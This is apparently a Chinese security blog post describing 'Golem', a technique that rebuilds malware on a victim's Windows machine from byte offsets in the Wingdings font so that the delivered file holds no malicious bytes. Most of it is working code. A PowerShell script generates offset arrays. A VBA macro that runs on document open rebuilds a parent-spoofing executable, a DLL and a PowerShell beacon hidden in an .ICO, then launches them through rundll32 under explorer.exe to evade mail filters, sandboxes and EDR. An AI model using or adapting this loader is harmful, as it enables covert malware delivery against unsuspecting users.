正文

Golem：隐藏在系统字体中的恶意软件

admin
admin V管理员 /0 评论 /14 阅读
0319
此篇文章发布距今已超过1146天，您需要注意文章的内容或图片是否可用！

 

一、前言

现在攻击者们经常使用“Living Off the Land”技术，也就是利用受害者环境中已安装的合法程序来执行恶意操作。通过这种方法，攻击者无需在攻击载荷库中额外添加其他软件：所需的一切都已在受害者计算机中准备就绪。

然而在许多情况下，常见的攻击过程通常会包含如下几个步骤：

1、投递包含载荷的文件，这些载荷既可以是待执行的恶意代码，也可以是非恶意代码，载荷会在第三个阶段下载恶意组件；

2、说服受害者执行攻击载荷；

3、载荷随后会执行如下操作：

  • 利用受害者环境中自带的应用来执行恶意组件；
  • 下载恶意组件，然后利用受害者环境中自带的应用来执行恶意组件。

 

二、目标

我希望能够找到满足如下条件的一种解决方案：

1、不包含内任意恶意代码（甚至是恶意字节），并且能够绕过外围防护（邮件过滤、沙盒等）；

2、不会下载任何恶意代码；

3、能够执行恶意代码。

 

三、利用字体自生成恶意软件

首先，我们需要找到每个Windows操作系统上都存在的一个组件。一番搜索后，我终于找到了如下目标：

我对比了各种Windows版本上的Windings字体，发现这个字体在这些系统上完全相同。

由于这个字体似乎是所有Windows计算机上的常见组件，因此我们有可能通过这个媒介实现我们的目标。如何做到这一点？具体步骤如下：

1、在我们的计算机上收集恶意软件包含的字节信息；

2、将恶意软件的首字节与Wingdings字体比较；

3、一旦在该字体中找到同一个字节，则将其位置记录在一个文本文件中；

4、重复此过程，直到我们找到恶意软件中包含的所有字节，并将这些位置信息记录到文本文件中；

5、这样我们的载荷将包含恶意软件每个字节在Wingdings字体中的位置；

6、在受害者主机上，攻击载荷通过Wingdings字体中的字节位置信息重构恶意组件。

查找字体中对应字节的PowerShell代码如下所示：

$Font = "C:WindowsFontswingding.ttf"
$Malware = "C:UsersAdministratorPictures2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
    $index = 0
    foreach ($byteInFont in $fontArray) {
        if ($byteInMalware -eq $byteInFont) {
            $offsetArray += $index
            break
        }
        $index++
    }    
}

如上PowerShell代码会生成VBA代码，我们可以将VBA代码插入宏中。如下代码则会生成一个字节数组，数组中包含用来重构恶意组件的每个字节的位置信息：

$i=0
$payload = ""
$j=0
$u=1
$payDef = ""
foreach($offset in $offsetArray){  

    if($i -eq 30) {
        $payload = $payload + ", " + $offset + " _`r`n"
        $i=0       
        $j++ 
    }
    else {
       if($i -eq 0) {
        $payload = $payload + $offset       
       }
       else {
        $payload = $payload + ", " + $offset       
       }
    }
    if($j -eq 25)  {
        $payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
        $payload = ""
        $u++
        $j = 0
    }
    $i++
}
if($payload -ne ""){
$payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
}

$payDef

运行结果如下：

如下VBA代码可以根据我们提供的字节数组信息重构恶意组件（然而代码写得并不是特别好），然后选择Explorer.exe作为Rundll32.exe的父进程（加大EDR产品的分析难度），接着使用Rundll32.exe来执行恶意组件（一个.DLL文件，可以用来运行隐藏在.ICO资源中的PowerShell恶意代码）。我们可以修改这个过程，通过注入进程内存空间避免文件落盘。后续工作留待大家来完成。

VBA代码如下：

[...] --> you array of bytes containing the position of necessary bytes in the Windings font.

'example to join the bytes for the fist malicious component

    t1 = cc1
    t2 = cc2
    t3 = cc3
    t4 = cc4
    t5 = cc5
    t6 = cc6
    t7 = cc7
    t8 = cc8
    t9 = cc9
    t10 = cc10
    t11 = cc11
    t12 = cc12
    t13 = cc13
    t14 = cc14
    t15 = cc15
    t16 = cc16
    t17 = cc17
    t18 = cc18

    ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
     & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")


[...]


    Dim nb As Integer
    Dim nb2 As Integer
    nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
    nb2 = UBound(tt) - LBound(tt) + 1
    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
    Dim intFileNumber As Integer
    Dim i As Integer
    Dim j As Integer
    Dim lngFileSize As Long
    Dim lngFileSize2 As Long
    Dim strBuffer As String
    Dim strBuffer2 As String
    Dim lngCharNumber As Long
    Dim lngCharNumber2 As Long
    Dim strCharacter As String * 1
    Dim strCharacter2 As String * 1
    Dim strFileName As String
    Dim strFileName2 As String
    Dim offset() As Variant
        
    strFileName = "C:\Windows\Fonts\wingding.ttf"
    intFileNumber = FreeFile
    Open strFileName For Binary Access Read Shared As #intFileNumber
        lngFileSize = LOF(intFileNumber)
        strBuffer = Space$(lngFileSize)
        Get #intFileNumber, , strBuffer
    Close #intFileNumber

   Dim nFileNum As Long
   Dim sFilename As String
   Dim ind As Long
   sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
   sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
   sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
   nFileNum = FreeFile
   ' a loop would be better ;-)
   Open sFilename2 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb - 1
        ind = lngCharNumber + 1
        off = ttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   
   nFileNum = FreeFile
   Open sFilename For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb2 - 1
        ind = lngCharNumber + 1
        off = tt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   
   nFileNum = FreeFile
   Open sFilename3 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb3 - 1
        ind = lngCharNumber + 1
        off = ttttttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   rr
End Sub

Sub rr()
  Dim xx As String
  Dim oihfasf As Object, eopuf As Object, kdj As Object
  Dim oDic As Object, a() As Variant
  Dim pskaf As Integer
 
  Set oDic = CreateObject("Scripting.Dictionary")

  xx = "."

  Set oihfasf = GetObject("winmgmts:\\" _
      & xx & "\root\CIMV2")
  Set eopuf = oihfasf.ExecQuery _
      ("Select Name, ProcessID FROM Win32_Process", , 48)

  For Each kdj In eopuf
      If (kdj.Properties_("Name").Value) = "explorer.exe" Then
          pskaf = (kdj.Properties_("ProcessID").Value)
      End If
  Next
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
    cc
End Sub
Sub Workbook_Open()
    cc
End Sub

 

这个过程就是这么简单。